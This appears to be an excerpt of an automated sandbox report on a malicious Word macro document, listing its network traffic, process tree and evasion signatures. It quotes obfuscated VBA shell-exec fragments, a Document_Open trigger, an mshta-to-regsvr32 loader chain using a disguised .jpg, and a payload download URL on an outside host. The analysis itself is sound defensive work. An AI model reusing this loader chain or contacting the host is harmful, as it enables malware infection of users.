Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://outlook.office365.com/api/v1.0/me/Activities
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://ovisualuiapp.azurewebsites.net/pbiagave/
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://pages.store.office.com/appshome.aspx?productgroup=Outlook
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://pages.store.office.com/review/query
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://pages.store.office.com/webapplandingpage.aspx
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://partnerservices.getmicrosoftkey.com/PartnerProvisioning.svc/v1/subscriptions
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://portal.office.com/account/?ref=ClientMeControl
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://posarprodcssservice.accesscontrol.windows.net/v2/OAuth2-13
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://powerlift-frontdesk.acompli.net
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://powerlift.acompli.net
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://prod-global-autodetect.acompli.net/autodetect
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://res.getmicrosoftkey.com/api/redemptionevents
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://roaming.edog.
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://rpsticket.partnerservices.getmicrosoftkey.com
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://settings.outlook.com
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://shell.suite.office.com:1443
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://skyapi.live.net/Activity/
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://sr.outlook.office.net/ws/speech/recognize/assistant/work
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://staging.cortana.ai
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://storage.live.com/clientlogs/uploadlocation
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://store.office.cn/addinstemplate
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://store.office.de/addinstemplate
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://substrate.office.com/search/api/v1/SearchHistory
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://substrate.office.com/search/api/v2/init
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://tasks.office.com
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://uci.cdn.office.net/mirrored/smartlookup/current/
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.desktop.html
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.immersive.html
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://visio.uservoice.com/forums/368202-visio-on-devices
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://web.microsoftstream.com/video/
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://webshell.suite.office.com
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://wus2.contentsync.
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://wus2.pagecontentsync.
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://www.bingapis.com/api/v7/urlpreview/search?appid=E93048236FE27D972F67C5AF722136866DF65FA2
Source: 4BD40E7D-30A8-47CA-8B70-A71BF56BA8FA.1.dr	String found in binary or memory: https://www.odwebp.svc.ms

Performs DNS lookups

Source: unknown

DNS traffic detected: queries for: patelboostg.com

Downloads files from webservers via HTTP

Source: global traffic

HTTP traffic detected: GET /frhe/L8dclCye7SQ5WTFva78FDxOjGBOF9iJro4DRgV/5inYIaSBt0KLfMB9kXwZBv6ZpTsny6/qAhIQjrAaLKJeTLQnbCarASpMADNe9u19Kylnkoreo7/SjqMh4eEx0Hx9b4h5e2fMcQgeIbFT/kKeSzfUaenwSFB/ISkVIHedx0p/49280/SruwcI68Yb5pVaVqfvyOHztDsbEuhGxtlV6bpgPIFvGFQ277/7FkN9pAcaWDfFlGNBeuaqGed8iDibaWexT/GyAAzLRbFAU1XErrU1F/vaci3?page=V8BBaQuem65&page=XYvyd0Dcrg6fJYLGHRVWp7s1tv&page=dvZwXcjcYCjBX8tPaALshiDAx85PEq&sid=10tOgWzOZj9xyAidNJAz3d9Ob0 HTTP/1.1Accept: */*Accept-Language: en-usAccept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: patelboostg.comConnection: Keep-Alive

System Summary:

Document contains an embedded VBA macro which may execute processes

Source: enjoin,12.27.2021.doc	OLE, VBA macro line: CreateObject("wsc" + cont1("company") + "ell").exec cont1("category") + " " + mouseVideo
Source: VBA code instrumentation	OLE, VBA macro: Module ThisDocument, Function srn1, API IWshShell3.exec("explorer i7Gigabyte.hta")			Name: srn1

Document has an unknown application name

Source: ~WRF{810769F3-F410-47AD-894E-8C41E68C70EA}.tmp.1.dr

OLE indicator application name: unknown

Document contains an embedded VBA macro which executes code when the document is opened / closed

Source: enjoin,12.27.2021.doc	OLE, VBA macro line: Sub Document_Open()
Source: VBA code instrumentation	OLE, VBA macro: Module ThisDocument, Function Document_Open			Name: Document_Open

Document misses a certain OLE stream usually present in this Microsoft Office document type

Source: ~WRF{810769F3-F410-47AD-894E-8C41E68C70EA}.tmp.1.dr

OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Document contains no OLE stream with summary information

Source: ~WRF{810769F3-F410-47AD-894E-8C41E68C70EA}.tmp.1.dr

OLE indicator has summary info: false

Searches for the Microsoft Outlook file path

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Tries to load missing DLLs

Source: C:\Windows\SysWOW64\regsvr32.exe

Section loaded: sfc.dll

Jump to behavior

Document contains embedded VBA macros

Source: enjoin,12.27.2021.doc

OLE indicator, VBA macros: true

Document contains an embedded VBA macro which reads document properties (may be used for disguise)

Source: enjoin,12.27.2021.doc

OLE, VBA macro line: cont1 = activedocument.builtindocumentproperties(i7computermonitor).value

Sample is known by Antivirus

Source: enjoin,12.27.2021.doc

ReversingLabs: Detection: 44%

Reads software policies

Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Spawns processes

Source: unknown	Process created: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE "C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE" /Automation -Embedding
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process created: C:\Windows\SysWOW64\explorer.exe explorer i7Gigabyte.hta
Source: unknown	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\mshta.exe "C:\Windows\SysWOW64\mshta.exe" "C:\Users\user\Documents\i7Gigabyte.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe "C:\Windows\System32\regsvr32.exe" c:\users\public\gigabyteI7.jpg
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process created: C:\Windows\SysWOW64\explorer.exe explorer i7Gigabyte.hta			Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\mshta.exe "C:\Windows\SysWOW64\mshta.exe" "C:\Users\user\Documents\i7Gigabyte.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}			Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe "C:\Windows\System32\regsvr32.exe" c:\users\public\gigabyteI7.jpg			Jump to behavior

Uses an in-process (OLE) Automation server

Source: C:\Windows\SysWOW64\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Document contains an OLE Word Document stream indicating a Microsoft Word file

Source: enjoin,12.27.2021.doc

OLE indicator, Word Document stream: true

Creates files inside the user directory

Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCache

Jump to behavior

Creates temporary files

Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Temp\{560F8D37-2791-4DB1-8112-D40395CAE711} - OProcSessId.dat

Jump to behavior

Classification label

Source: classification engine

Classification label: mal96.expl.evad.winDOC@8/15@1/1

Reads ini files

Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Document contains summary information with irregular field values

Source: enjoin,12.27.2021.doc	OLE document summary: title field not present or empty
Source: enjoin,12.27.2021.doc	OLE document summary: author field not present or empty
Source: enjoin,12.27.2021.doc	OLE document summary: edited time not present or 0
Source: ~WRF{810769F3-F410-47AD-894E-8C41E68C70EA}.tmp.1.dr	OLE document summary: title field not present or empty
Source: ~WRF{810769F3-F410-47AD-894E-8C41E68C70EA}.tmp.1.dr	OLE document summary: author field not present or empty
Source: ~WRF{810769F3-F410-47AD-894E-8C41E68C70EA}.tmp.1.dr	OLE document summary: edited time not present or 0

Launches a second explorer.exe instance

Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process created: C:\Windows\SysWOW64\explorer.exe
Source: unknown	Process created: C:\Windows\explorer.exe
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process created: C:\Windows\SysWOW64\explorer.exe			Jump to behavior

Reads the hosts file

Source: C:\Windows\SysWOW64\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Reads internet explorer settings

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings

Jump to behavior

Found graphical window changes (likely an installer)

Source: Window Recorder

Window detected: More than 3 window changes detected

Checks if Microsoft Office is installed

Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguages

Jump to behavior

Uses new MSVCR Dlls

Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

File opened: C:\Windows\SysWOW64\MSVCR100.dll

Jump to behavior

Document has a 'comments' value indicative of goodware

Source: enjoin,12.27.2021.doc

Initial sample: OLE summary comments = ta

Document has a 'bytes' value indicative of goodware

Source: enjoin,12.27.2021.doc

Initial sample: OLE document summary bytes = 26624

Document has a 'vbamacros' value indicative of goodware

Source: ~WRF{810769F3-F410-47AD-894E-8C41E68C70EA}.tmp.1.dr

Initial sample: OLE indicators vbamacros = False

Document has a 'category' value indicative of goodware

Source: enjoin,12.27.2021.doc

Initial sample: OLE document summary category = explorer

Data Obfuscation:

Uses code obfuscation techniques (call, push, ret)

Source: C:\Windows\SysWOW64\mshta.exe

Code function: 12_2_04E7C428 pushad ; ret

12_2_04E7C429

Hooking and other Techniques for Hiding and Protection:

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Source: C:\Windows\explorer.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Disables application error messsages (SetErrorMode)

Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Document contains OLE streams with high entropy indicating encrypted embedded content

Source: enjoin,12.27.2021.doc

Stream path 'Data' entropy: 7.93699752134 (max. 8.0)

Malware Analysis System Evasion:

May try to detect the virtual machine to hinder analysis (VM artifact strings found in memory)

Source: mshta.exe, 0000000C.00000003.308740663.000000000A3FF000.00000004.00000001.sdmp, mshta.exe, 0000000C.00000002.315823297.000000000A3FF000.00000004.00000001.sdmp, mshta.exe, 0000000C.00000003.307574031.000000000A3FF000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW
Source: mshta.exe, 0000000C.00000003.307547226.000000000A3C9000.00000004.00000001.sdmp, mshta.exe, 0000000C.00000003.308695050.000000000A3C9000.00000004.00000001.sdmp, mshta.exe, 0000000C.00000002.315723271.000000000A3C9000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAWX{@

HIPS / PFW / Operating System Protection Evasion:

Creates a process in suspended mode (likely to inject code)

Source: C:\Windows\SysWOW64\mshta.exe

Process created: C:\Windows\SysWOW64\regsvr32.exe "C:\Windows\System32\regsvr32.exe" c:\users\public\gigabyteI7.jpg

Jump to behavior

May try to detect the Windows Explorer process (often used for injection)

Source: explorer.exe, 0000000B.00000002.1462442961.00000000015E0000.00000002.00020000.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 0000000B.00000002.1462442961.00000000015E0000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 0000000B.00000002.1462442961.00000000015E0000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 0000000B.00000002.1462442961.00000000015E0000.00000002.00020000.sdmp	Binary or memory string: Progmanlock

Language, Device and Operating System Detection:

Queries the volume information (name, serial number etc) of a device

Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation			Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation			Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation			Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation			Jump to behavior

Stealing of Sensitive Information:

Searches for user specific document files

Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents			Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Directory queried: C:\Users\user\Documents			Jump to behavior